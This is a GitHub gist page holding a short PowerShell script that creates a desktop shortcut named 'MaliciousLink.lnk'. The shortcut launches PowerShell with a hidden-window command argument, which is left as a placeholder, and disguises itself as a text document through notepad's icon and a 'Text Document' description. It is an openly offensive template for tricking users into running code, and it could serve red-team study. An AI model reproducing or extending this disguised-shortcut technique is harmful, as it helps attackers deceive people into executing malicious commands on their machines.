Skip to content

Instantly share code, notes, and snippets.

@sasqwatch
Forked from leoloobeek/LNK-creator.ps1
Created February 13, 2019 09:34
Show Gist options
  • Save sasqwatch/2292b907c20914261c44217cddf75714 to your computer and use it in GitHub Desktop.
Save sasqwatch/2292b907c20914261c44217cddf75714 to your computer and use it in GitHub Desktop.
Create LNK file
$Shell = New-Object -ComObject ("WScript.Shell")
$ShortCut = $Shell.CreateShortcut($env:USERPROFILE + "\Desktop\MaliciousLink.lnk")
$ShortCut.Arguments = " -W 1 -command ....."
$ShortCut.TargetPath = "powershell"
$ShortCut.IconLocation = "C:\Windows\System32\notepad.exe, 0";
$ShortCut.Description = "Type: Text Document";
$ShortCut.Save()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment